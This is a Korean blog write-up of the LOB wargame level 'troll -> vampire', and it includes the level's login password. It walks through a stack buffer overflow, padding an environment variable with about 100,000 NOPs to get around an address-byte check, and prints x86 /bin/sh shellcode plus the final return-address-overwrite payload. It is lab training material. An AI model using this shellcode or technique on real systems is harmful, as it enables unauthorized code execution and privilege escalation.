LOB troll -> vampire
ID : troll
Passwd : aspirin
접속해서 ls 명령어로 파일을 확인합니다.
cat 명령으로 code를 열어봅니다.
egghunter가 없으니 공격은 환경 변수로 하면 될 것 같습니다.
하지만 환경 변수는 스택의 위쪽에 위치하기 때문에 ‘\xbf'는 가능하지만 ‘\xff’를 우회하는 부분을 조금 생각해봐야 할 것 같습니다.
| main() | argc | argv | etc, env |
0xbfffffff
저 안에 있는 애들의 크기를 늘려주면 주소가 낮아지지 않을까요?
환경 변수로 공격하자는 목적이니
| main() | argc | argv | etc, env |
0xbfffffff
환경 변수에 많은 NOP을 박아준다면 저런 메모리 구조를 가질 것이고, ‘\xff’도 우회할 수 있을 것입니다.
(그 외, argv[2]에 큰 값을 넣어서 공격할 수도 있을 것 같네요.)
대충 10만 개의 NOP과 셸코드를 사용해서 환경 변수를 만들어 보겠습니다.
export SC=$(python –c ‘print “\x90”*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’)
tmp를 만들고 vampire 파일을 복사합니다.
‘\xbf’를 우회하기 위해서
./vampire `python –c ‘print “\xbf"*48’` 이렇게 쳐줍시다.
core 파일을 gdb로 열어보겠습니다.
예상한대로
| main() | argc | argv | etc, env |
0xbffe7410 0xbfffffff
그럼 환경 변수를 찾아보겠습니다.
여기로 Return Address를 변조하면 argv[1][47] == ‘\xbf' and argv[1][46] != ‘\xff’ 를 만족하겠죠?
payload : ./vampire `python –c ‘print “A”*44 + “\xf8\x77\xfe\xbf"’`
원본 파일에 공격해보겠습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB skeleton -> golem Write up (0) | 2017.10.12 |
---|---|
LOB vampire -> skeleton Write up (0) | 2017.10.11 |
LOB orge -> troll Write up (0) | 2017.10.09 |
LOB darkelf -> orge Write up (0) | 2017.10.09 |
LOB wolfman -> darkelf Write up (0) | 2017.10.07 |